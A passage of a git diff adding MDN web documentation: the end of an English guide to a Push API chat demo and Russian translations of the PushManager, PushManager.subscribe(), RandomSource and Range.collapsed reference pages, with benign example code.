+ <li><code>chatMsg</code>: In a similar manner to the first case, an {{htmlelement("li")}} element is created, its text content is set to <code>data.name + ": " + data.msg</code> (so for example "Chris: This is my message"), and it is appended to the chat messages list; this is how the chat messages appear on the UI for each user.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong>: We have to pass the data back to the main context before we do DOM updates because service workers don't have access to the DOM. You should be aware of the limitations of service workers before attemping to ue them. Read <a href="/en-US/docs/Web/API/Service_Worker_API/Using_Service_Workers">Using Service Workers</a> for more details.</p>
+</div>
+
+<h4 id="Sending_chat_messages">Sending chat messages</h4>
+
+<p>When the <em>Send Chat Message</em> button is clicked, the content of the associated text field is sent as a chat message. This is handled by the <a href="https://github.com/chrisdavidmills/push-api-demo/blob/gh-pages/main.js"><code>sendChatMessage()</code> function</a> (again, not shown in full for brevity). This works in a similar way to the different parts of the <code>updateStatus()</code> function (see {{anch("Updating the status in the app and server")}}) — we retrieve an endpoint and public key via a {{domxref("PushSubscription")}} object, which is itself retrieved via {{domxref("ServiceWorkerContainer.ready()")}} and {{domxref("PushManager.subscribe()")}}. These are sent to the server via {{domxref("XMLHttpRequest")}} in a message object, along with the name of the subscribed user, the chat message to send, and a <code>statusType</code> of <code>chatMsg</code>.</p>
+
+<h3 id="The_server">The server</h3>
+
+<p>As mentioned above, we need a server-side component in our app, to handle storing subscription details, and send out push messages when updates occur. We've hacked together a quick-and-dirty server using <a href="http://nodejs.org/">NodeJS</a> (<code><a href="https://github.com/chrisdavidmills/push-api-demo/blob/gh-pages/server.js">server.js</a></code>), which handles the XHR requests sent by our client-side JavaScript code.</p>
+
+<p>It uses a text file (<code><a href="https://github.com/chrisdavidmills/push-api-demo/blob/gh-pages/endpoint.txt">endpoint.txt</a></code>) to store subscription details; this file starts out empty. There are four different types of request, marked by the <code>statusType</code> property of the object sent over in the request; these are the same as those understood client-side, and perform the required server actions for that same situation. Here's what each means in the context of the server:</p>
+
+<ul>
+ <li><code>subscribe</code>: The server adds the new subscriber's details into the subscription data store (<code><a href="https://github.com/chrisdavidmills/push-api-demo/blob/gh-pages/endpoint.txt">endpoint.txt</a></code>), including the endpoint, and then sends a push message to all the endpoints it has stored to tell each subscriber that someone new has joined the chat.</li>
+ <li><code>unsubscribe</code>: The server finds the sending subscriber's details in the subscription store and removes it, then sends a push message to all remaining subscribers telling them the user has unsubscribed.</li>
+ <li><code>init</code>: The server reads all the current subscribers from the text file, and sends each one a push message to tell them a user has initialized (rejoined) the chat.</li>
+ <li><code>chatMsg</code>: Sent by a subscriber that wishes to deliver a message to all users; the server reads the list of all current subscribers from the subscription store file, then sends each one a push message containing the new chat message they should display.</li>
+</ul>
+
+<p>A couple more things to note:</p>
+
+<ul>
+ <li>We are using the Node.js <a href="https://nodejs.org/api/https.html">https module</a> to create the server, because for security purposes, service workers only work on a secure connection. This is why we need to include the <code>.pfx</code> security cert in the app, and reference it when creating the server in the Node code.</li>
+ <li>When you send a push message without data, you simply send it to the endpoint URL using an HTTP <code>POST</code> request. However, when the push message contains data, you need to encrypt it, which is quite a complex process. As time goes on, libraries will appear to do this kind of thing for you; for this demo we used Marco Castelluccio's NodeJS <a href="https://github.com/marco-c/web-push">web-push library</a>. Have a look at the source code to get more of an idea of how the encryption is done (and read <a href="https://tools.ietf.org/html/draft-ietf-webpush-encryption-01">Message Encryption for Web Push</a> for more details.) The library <a href="https://github.com/chrisdavidmills/push-api-demo/blob/gh-pages/server.js#L43-L46">makes sending a push message simple</a>.</li>
+</ul>
+
+<h3 id="The_service_worker">The service worker</h3>
+
+<p>Now let's have a look at the service worker code (<code><a href="https://github.com/chrisdavidmills/push-api-demo/blob/gh-pages/sw.js">sw.js</a></code>), which responds to the push messages, represented by {{Event("push")}} events. These are handled on the service worker's scope by the ({{domxref("ServiceWorkerGlobalScope.onpush")}}) event handler; its job is to work out what to do in response to each received message. We first convert the received message back into an object by calling {{domxref("PushMessageData.json()")}}. Next, we check what type of push message it is, by looking at the object's <code>action</code> property:</p>
+
+<ul>
+ <li><code>subscribe</code> or <code>unsubscribe</code>: We send a system notification via the <code>fireNotification()</code> function, but also send a message back to the main context on our {{domxref("MessageChannel")}} so we can update the subscriber list accordingly (see {{anch("Handling channel messages sent from the service worker")}} for more details).</li>
+ <li><code>init</code> or <code>chatMsg</code>: We just send a channel message back to the main context to handle the <code>init</code> and <code>chatMsg</code> cases (these don't need a system notification).</li>
+</ul>
+
+<pre class="brush: js">self.addEventListener('push', function(event) {
+  var obj = event.data.json();
+
+  if(obj.action === 'subscribe' || obj.action === 'unsubscribe') {
+    fireNotification(obj, event);
+    port.postMessage(obj);
+  } else if(obj.action === 'init' || obj.action === 'chatMsg') {
+    port.postMessage(obj);
+  }
+});</pre>
+
+<p>Next, let's look at the <code>fireNotification()</code> function (which is blissfully pretty simple).</p>
+
+<pre class="brush: js">function fireNotification(obj, event) {
+  var title = 'Subscription change';
+  var body = obj.name + ' has ' + obj.action + 'd.';
+  var icon = 'push-icon.png';
+  var tag = 'push';
+
+  event.waitUntil(self.registration.showNotification(title, {
+    body: body,
+    icon: icon,
+    tag: tag
+  }));
+}</pre>
+
+<p>Here we assemble the assets needed by the notification box: the title, body, and icon. Then we send a notification via the {{domxref("ServiceWorkerRegistration.showNotification()")}} method, providing that information as well as the tag "push", which we can use to identify this notification among any other notifications we might be using. When the notification is successfully sent, it manifests as a system notification dialog on the users computers/devices in whatever style system notifications look like on those systems (the following image shows a Mac OSX system notification.)</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/11855/subscribe-notification.png" style="display: block; height: 65px; margin: 0px auto; width: 326px;"></p>
+
+<p>Note that we do this from inside an {{domxref("ExtendableEvent.waitUntil()")}} method; this is to make sure the service worker remains active until the notification has been sent. <code>waitUntil()</code> will extend the life cycle of the service worker until everything inside this method has completed.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Web notifications from service workers were introduced around Firefox version 42, but are likely to be removed again while the surrounding functionality (such as <code>Clients.openWindow()</code>) is properly implemented (see {{bug(1203324)}} for more details.)</p>
+</div>
+
+<h2 id="Handling_premature_subscription_expiration">Handling premature subscription expiration</h2>
+
+<p>Sometimes push subscriptions expire prematurely, without {{domxref("PushSubscription.unsubscribe()")}} being called. This can happen when the server gets overloaded, or if you are offline for a long time, for example.  This is highly server-dependent, so the exact behavior is difficult to predict. In any case, you can handle this problem by watching for the {{Event("pushsubscriptionchange")}} event, which you can listen for by providing a {{domxref("ServiceWorkerGlobalScope.onpushsubscriptionchange")}} event handler; this event is fired only in this specific case.</p>
+
+<pre class="brush: js  language-js"><code class="language-js">self<span class="punctuation token">.</span><span class="function token">addEventListener<span class="punctuation token">(</span></span><span class="string token">'pushsubscriptionchange'</span><span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ <span class="comment token"> // do something, usually resubscribe to push and
+</span> <span class="comment token"> // send the new subscription details back to the
+</span> <span class="comment token"> // server via XHR or Fetch
+</span><span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>Note that we don't cover this case in our demo, as a subscription ending is not a big deal for a simple chat server. But for a more complex example you'd probably want to resubscribe the user.</p>
+
+<h2 id="Extra_steps_for_Chrome_support">Extra steps for Chrome support</h2>
+
+<p>To get the app working on Chrome, we need a few extra steps, as Chrome currently relies on Google's Cloud Messaging service to work.</p>
+
+<h3 id="Setting_up_Google_Cloud_Messaging">Setting up Google Cloud Messaging</h3>
+
+<p>To get this set up, follow these steps:</p>
+
+<ol>
+ <li>Navigate to the <a href="https://console.developers.google.com">Google Developers Console</a>  and set up a new project.</li>
+ <li>Go to your project's homepage (ours is at <code>https://console.developers.google.com/project/push-project-978</code>, for example), then
+  <ol>
+   <li>Select the <em>Enable Google APIs for use in your apps</em> option.</li>
+   <li>In the next screen, click <em>Cloud Messaging for Android</em> under the <em>Mobile APIs</em> section.</li>
+   <li>Click the <em>Enable API</em> button.</li>
+  </ol>
+ </li>
+ <li>Now you need to make a note of your project number and API key because you'll need them later. To find them:
+  <ol>
+   <li><strong>Project number</strong>: click <em>Home</em> on the left; the project number is clearly marked at the top of your project's home page.</li>
+   <li><strong>API key</strong>: click <em>Credentials</em> on the left hand menu; the API key can be found on that screen.</li>
+  </ol>
+ </li>
+</ol>
+
+<h3 id="manifest.json">manifest.json</h3>
+
+<p>You need to include a Google app-style <code>manifest.json</code> file in your app, which references the project number you made a note of earlier in the <code>gcm_sender_id</code> parameter. Here is our simple example <a href="https://github.com/chrisdavidmills/push-api-demo/blob/gh-pages/manifest.json">manifest.json</a>:</p>
+
+<pre class="brush: js">{
+  "name": "Push Demo",
+  "short_name": "Push Demo",
+  "icons": [{
+        "src": "push-icon.png",
+        "sizes": "111x111",
+        "type": "image/png"
+      }],
+  "start_url": "/index.html",
+  "display": "standalone",
+  "gcm_sender_id": "224273183921"
+}</pre>
+
+<p>You also need to reference your manifest using a {{HTMLElement("link")}} element in your HTML:</p>
+
+<pre class="brush: html">&lt;link rel="manifest" href="manifest.json"&gt;</pre>
+
+<h3 id="userVisibleOnly">userVisibleOnly</h3>
+
+<p>Chrome requires you to set the <a href="/en-US/docs/Web/API/PushManager/subscribe#Parameters"><code>userVisibleOnly</code> parameter</a> to <code>true</code> when subscribing to the push service, which indicates that we are promising to show a notification whenever a push is received. This can be <a href="https://github.com/chrisdavidmills/push-api-demo/blob/gh-pages/main.js#L127">seen in action in our <code>subscribe()</code> function</a>.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Push_API">Push API</a></li>
+ <li><a href="/en-US/docs/Web/API/Service_Worker_API">Service Worker API</a></li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong>: Some of the client-side code in our Push demo is heavily influenced by Matt Gaunt's excellent examples in <a href="http://updates.html5rocks.com/2015/03/push-notificatons-on-the-open-web">Push Notifications on the Open Web</a>. Thanks for the awesome work, Matt!</p>
+</div>
diff --git a/files/ru/web/api/pushmanager/index.html b/files/ru/web/api/pushmanager/index.html
new file mode 100644
index 0000000000..bf1815769e
--- /dev/null
+++ b/files/ru/web/api/pushmanager/index.html
@@ -0,0 +1,115 @@
+---
+title: PushManager
+slug: Web/API/PushManager
+tags:
+  - API
+  - Experimental
+  - Interface
+  - NeedsTranslation
+  - Push
+  - Push API
+  - Reference
+  - Référence(2)
+  - Service Workers
+  - TopicStub
+translation_of: Web/API/PushManager
+---
+<p>{{SeeCompatTable}}{{ApiRef("Push API")}}</p>
+
+<p>Интерфейс <code>PushManager</code> из <a href="/en-US/docs/Web/API/Push_API">Push API</a> предоставляет возможность получать уведомления от сторонних серверов, а также запрашивать URL для push уведомлений.</p>
+
+<p>Этот интерфейс доступен через свойство {{domxref("ServiceWorkerRegistration.pushManager")}}.</p>
+
+<div class="note">
+<p><strong>Заметка</strong>: Этот интерфейс заменил функциональность, предлагаемую устаревшим {{domxref("PushRegistrationManager")}}.</p>
+</div>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt>{{domxref("PushManager.supportedContentEncodings")}}</dt>
+ <dd>Возвращает массив со списком возможных алгоритмов кодирования, которые могут быть использованы для шифрования полезной нагрузки пуш-уведомления.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{domxref("PushManager.subscribe()")}}</dt>
+ <dd>Подписка на пуш сервис. Возвращает промис, который разрешается в {{domxref("PushSubscription")}} объект, содержащий детали новой push подписки.</dd>
+ <dt>{{domxref("PushManager.getSubscription()")}}</dt>
+ <dd>Извлекает существующую push подписку. Возвращает промис, который разрешается в {{domxref("PushSubscription")}} объект, содержащий детали существующей подписки.</dd>
+ <dt>{{domxref("PushManager.permissionState()")}}</dt>
+ <dd>Возвращает {{jsxref("Promise")}}, который разрешается в состояние доступа текущего {{domxref("PushManager")}}, которое может быть одним из <code>'granted'</code>, <code>'denied'</code>, или <code>'default'</code>.</dd>
+</dl>
+
+<h3 id="Устаревшие_методы">Устаревшие методы</h3>
+
+<dl>
+ <dt>{{domxref("PushManager.hasPermission()")}}</dt>
+ <dd>Returns a {{jsxref("Promise")}} that resolves to the <code>PushPermissionStatus</code> of the requesting webapp, which will be one of <code>granted</code>, <code>denied</code>, or <code>default</code>. Replaced by {{domxref("PushManager.permissionState()")}}.</dd>
+ <dt>{{domxref("PushManager.register()")}}</dt>
+ <dd>Subscribes to a push subscription. Replaced by {{domxref("PushManager.subscribe()")}}.</dd>
+ <dt>{{domxref("PushManager.registrations()")}}</dt>
+ <dd>Retrieves existing push subscriptions. Replaced by {{domxref("PushManager.getSubscription()")}}.</dd>
+ <dt>{{domxref("PushManager.unregister()")}}</dt>
+ <dd>Unregisters and deletes a specified subscription endpoint. In the updated API, a subscription is can be unregistered via the {{domxref("PushSubscription.unsubscribe()")}} method.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">this.onpush = function(event) {
+  console.log(event.data);
+  // From here we can write the data to IndexedDB, send it to any open
+  // windows, display a notification, etc.
+}
+
+navigator.serviceWorker.register('serviceworker.js').then(
+  function(serviceWorkerRegistration) {
+    serviceWorkerRegistration.pushManager.subscribe().then(
+      function(pushSubscription) {
+        console.log(pushSubscription.subscriptionId);
+        console.log(pushSubscription.endpoint);
+        // The push subscription details needed by the application
+        // server are now available, and can be sent to it using,
+        // for example, an XMLHttpRequest.
+      }, function(error) {
+        // During development it often helps to log errors to the
+        // console. In a production environment it might make sense to
+        // also report information about errors back to the
+        // application server.
+        console.log(error);
+      }
+    );
+  });</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Push API','#pushmanager-interface','PushManager')}}</td>
+   <td>{{Spec2('Push API')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>
+
+
+<p>{{Compat("api.PushManager")}}</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Push_API/Using_the_Push_API">Использование Push API</a></li>
+ <li><a href="http://updates.html5rocks.com/2015/03/push-notificatons-on-the-open-web">Push сообщения в Open Web</a>, Matt Gaunt</li>
+</ul>
diff --git a/files/ru/web/api/pushmanager/subscribe/index.html b/files/ru/web/api/pushmanager/subscribe/index.html
new file mode 100644
index 0000000000..a264d593d7
--- /dev/null
+++ b/files/ru/web/api/pushmanager/subscribe/index.html
@@ -0,0 +1,144 @@
+---
+title: PushManager.subscribe()
+slug: Web/API/PushManager/subscribe
+translation_of: Web/API/PushManager/subscribe
+---
+<p>{{SeeCompatTable}}{{ApiRef("Push API")}}</p>
+
+<p><code style=""><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">Метод </span></font><strong>subscribe()</strong></code> интерфейса {{domxref("PushManager")}} позволяет осуществлять подписку на push-уведомления.</p>
+
+<p>Возвращает {{jsxref("Promise")}}, который разрешается в объект {{domxref("PushSubscription")}}, содержащий детали push-подписки. Новая push-подписка создается в случае, если сервис-воркер не имеет существующей подписки.</p>
+
+<h2 id="Синтакс">Синтакс</h2>
+
+<pre class="syntaxbox">​PushManager.subscribe(options).then(function(pushSubscription) { ... } );</pre>
+
+<h3 id="Свойства">Свойства</h3>
+
+<dl>
+ <dt><code>options {{optional_inline}}</code></dt>
+ <dd>Объект, содержащий необязательные параметры конфигурации. Может иметь следующие свойства:
+ <ul>
+  <li><code>userVisibleOnly</code>: Булевое значение, указывающее на то, будет ли возвращаемая подписка использоваться для сообщений, чей эффект может быть видим для пользователя.</li>
+  <li><code>applicationServerKey</code>: открытый ключ ECDSA P-256, закодированный в Base64 {{domxref ('DOMString')}} или {{domxref ('ArrayBuffer')}}}, содержащий , который push-сервер будет использовать для аутентификации сервера приложений. Если указано, все сообщения с сервера Вашего приложения должны использовать схему аутентификации VAPID и включать JWT, подписанный соответствующим закрытым ключом. Этот ключ <strong><em>НЕ </em></strong>тот же ключ ECDH, который вы используете для шифрования данных. Для получения дополнительной информации см. «<a href="https://blog.mozilla.org/services/2016/04/04/using-vapid-with-webpush/">Using VAPID with WebPush</a>».</li>
+ </ul>
+
+ <div class="blockIndicator note">
+ <p><em><strong>Примечание: </strong>Свойство, требуемое некоторыми браузерами, например Chrome и Edge.</em></p>
+ </div>
+ </dd>
+</dl>
+
+<h3 id="Возвращает">Возвращает</h3>
+
+<p>{{jsxref("Promise")}} который разрешается в объект {{domxref("PushSubscription")}}.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">this.onpush = function(event) {
+  console.log(event.data);
+  <code>// Отсюда можно записывать данные в IndexedDB, отправлять их в любое
+  // открытое окно, отображать уведомление и т. д.</code>
+}
+
+navigator.serviceWorker.register('serviceworker.js').then(
+  function(serviceWorkerRegistration) {
+    serviceWorkerRegistration.pushManager.subscribe().then(
+      function(pushSubscription) {
+        console.log(pushSubscription.subscriptionId);
+        console.log(pushSubscription.endpoint);
+        <code>// Детали push-подписки, требуемые сервером приложения,
+        // теперь доступны, и могут быть отправлены, к примеру,
+        // при помощи XMLHttpRequest.</code>
+      }, function(error) {
+        <code>// При разработке это часто помогает отлавливать ошибки в консоли.
+        // В продакшен-среде это также может быть полезно для отправки отчета
+        // об ошибках на сервер приложения.</code>
+        console.log(error);
+      }
+    );
+  });</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Push API', '#widl-PushManager-subscribe-Promise-PushSubscription--PushSubscriptionOptions-options', 'subscribe()')}}</td>
+   <td>{{Spec2('Push API')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th style="line-height: 16px;">Feature</th>
+   <th style="line-height: 16px;">Chrome</th>
+   <th style="line-height: 16px;">Firefox (Gecko)</th>
+   <th style="line-height: 16px;">Internet Explorer</th>
+   <th style="line-height: 16px;">Opera</th>
+   <th style="line-height: 16px;">Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(42.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th style="line-height: 16px;">Feature</th>
+   <th style="line-height: 16px;">Android</th>
+   <th style="line-height: 16px;">Android Webview</th>
+   <th style="line-height: 16px;">Firefox Mobile (Gecko)</th>
+   <th style="line-height: 16px;">Firefox OS</th>
+   <th style="line-height: 16px;">IE Mobile</th>
+   <th style="line-height: 16px;">Opera Mobile</th>
+   <th style="line-height: 16px;">Safari Mobile</th>
+   <th style="line-height: 16px;">Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(42.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Push_API/Using_the_Push_API">Using the Push API</a></li>
+ <li><a href="http://updates.html5rocks.com/2015/03/push-notificatons-on-the-open-web">Push Notifications on the Open Web</a>, Matt Gaunt</li>
+</ul>
+
+<p> </p>
+
+<p> </p>
diff --git a/files/ru/web/api/randomsource/getrandomvalues/index.html b/files/ru/web/api/randomsource/getrandomvalues/index.html
new file mode 100644
index 0000000000..c59f5dde54
--- /dev/null
+++ b/files/ru/web/api/randomsource/getrandomvalues/index.html
@@ -0,0 +1,73 @@
+---
+title: RandomSource.getRandomValues()
+slug: Web/API/RandomSource/getRandomValues
+tags:
+  - АПИ
+  - Криптография
+  - Справка
+  - метод
+translation_of: Web/API/Crypto/getRandomValues
+---
+<p>{{APIRef("Web Crypto API")}}</p>
+
+<p>Метод <code><strong>RandomSource.getRandomValues()</strong></code> позволяет вам получать криптографически стойкие числа. Массив, переданный как параметр, заполняется случайными числами (случайными в криптографическом смысле).</p>
+
+<p>Для того, чтобы гарантировать достаточную производительность, реализации используют не настоящий генератор случайных чисел (RNG, en - Random Number Generator), а генератор псевдо-случайных чисел, которому предоставлено начальное зерно (wiki - <a href="https://en.wikipedia.org/wiki/Random_seed">https://en.wikipedia.org/wiki/Random_seed</a>) с достаточной энтропией (<a href="http://cryptography.ru/ref/энтропия">http://cryptography.ru/ref/энтропия</a>). Реализация генератора псевдо-случайных чисел (PRNG, en - PseudoRandom Number Generator) отличается от других реализаций RNG, но она больше подходит для использования в криптографии. Реализации также требуют использование начального зерна с достаточной энтропией, как источник системно-уровневой энтропии.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>cryptoObj</em>.getRandomValues(<em>typedArray</em>);</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>typedArray</code></dt>
+ <dd>Целочисленный массив {{jsxref("TypedArray")}}, например {{jsxref("Int8Array")}}, {{jsxref("Uint8Array")}}, {{jsxref("Uint16Array")}}, {{jsxref("Int32Array")}}, или {{jsxref("Uint32Array")}}. Все элементы массива замещаются случайными числами.</dd>
+</dl>
+
+<h3 id="Исключения">Исключения</h3>
+
+<ul>
+ <li>Исключение {{exception("QuotaExceededError")}} {{domxref("DOMException")}} выбрасывается если запрошенная длина больше чем 65536 байт.</li>
+</ul>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">/* Предполагается что функция window.crypto.getRandomValues доступна */
+
+var array = new Uint32Array(10);
+window.crypto.getRandomValues(array);
+
+console.log("Ваше счастливое число:");
+for (var i = 0; i &lt; array.length; i++) {
+    console.log(array[i]);
+}
+</pre>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Crypto API', '#RandomSource-method-getRandomValues')}}</td>
+   <td>{{Spec2('Web Crypto API')}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.Crypto.getRandomValues")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{ domxref("Window.crypto") }} чтобы получить объект {{domxref("Crypto")}}.</li>
+ <li>{{jsxref("Math.random")}}, не криптографический способ получения случайных чисел.</li>
+</ul>
diff --git a/files/ru/web/api/randomsource/index.html b/files/ru/web/api/randomsource/index.html
new file mode 100644
index 0000000000..606b198440
--- /dev/null
+++ b/files/ru/web/api/randomsource/index.html
@@ -0,0 +1,110 @@
+---
+title: RandomSource
+slug: Web/API/RandomSource
+tags:
+  - API
+  - Interface
+  - NeedsTranslation
+  - RandomSource
+  - Reference
+  - TopicStub
+  - Web Crypto API
+translation_of: Web/API/Crypto/getRandomValues
+---
+<p>{{APIRef("Web Crypto API")}}</p>
+
+<p><strong><code>RandomSource</code></strong> представляет собой источник криптографически безопасных случайных чисел. Он доступен через {{domxref("Crypto")}} объект глобального объекта: {{domxref("Window.crypto")}} на веб страницах, {{domxref("WorkerGlobalScope.crypto")}} для воркеров.</p>
+
+<p><code>RandomSource</code> не является интерфейсом и объект этого типа не может быть создан.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em><code>RandomSource</code> не объявляет и не наследует никаких свойств.</em></p>
+
+<dl>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{ domxref("RandomSource.getRandomValues()") }}</dt>
+ <dd>Наполняет {{ domxref("ArrayBufferView") }} криптографически безопасными случайными числовыми значениями.</dd>
+</dl>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коммент</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Crypto API', '#dfn-RandomSource')}}</td>
+   <td>{{Spec2('Web Crypto API')}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>11.0 {{ webkitbug("22049") }}</td>
+   <td>{{CompatGeckoDesktop(21)}} [1]</td>
+   <td>11.0</td>
+   <td>15.0</td>
+   <td>3.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatNo() }}</td>
+   <td>23</td>
+   <td>{{CompatGeckoMobile(21)}}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>6</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Although the transparent <code>RandomSource</code> is only available since Firefox 26, the feature was available in Firefox 21.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{ domxref("Window.crypto") }} to get a {{domxref("Crypto")}} object.</li>
+ <li>{{jsxref("Math.random")}}, не криптографический источник случайных чисел.</li>
+</ul>
diff --git a/files/ru/web/api/range/collapsed/index.html b/files/ru/web/api/range/collapsed/index.html
new file mode 100644
index 0000000000..b91eed643c
--- /dev/null
+++ b/files/ru/web/api/range/collapsed/index.html
@@ -0,0 +1,104 @@
+---
+title: Range.collapsed
+slug: Web/API/Range/collapsed
+translation_of: Web/API/Range/collapsed
+---
+<div>
+<p>{{ APIRef("DOM") }}</p>
+</div>
+
+<p>Доступное только для чтения свойство <code><strong>Range.collapsed</strong></code> возвращает флаг {{domxref("Boolean")}}, который указывает, в одной ли и той же позиции находятся начало и конец диапазона {{domxref("Range")}}. Оно возвращает <code>true</code>, если начало и конец граничных точех диапазона {{domxref("Range")}} являются одной и той же точкой в DOM, <code>false</code> – в противном случае.</p>
+
+<p>Свёрнутый диапазон {{domxref("Range")}} является пустым, не имеет содержимого, определяет единую точку в древе DOM. Для того, чтобы свернуть диапазон, смотрите метод {{domxref("Range.collapse()")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>isCollapsed</em> = <em>range</em>.collapsed;
+</pre>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<pre class="brush:js">var range = document.createRange();
+
+range.setStart(startNode,startOffset);
+range.setEnd(endNode,endOffset);
+isCollapsed = range.collapsed;
+</pre>
+
+<h2 id="Specification" name="Specification">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-range-collapsed', 'Range.collapsed')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>No change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Traversal_Range', 'ranges.html#Level-2-Range-attr-collapsed', 'Range.collapsed')}}</td>
+   <td>{{Spec2('DOM2 Traversal_Range')}}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>9.0</td>
+   <td>9.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
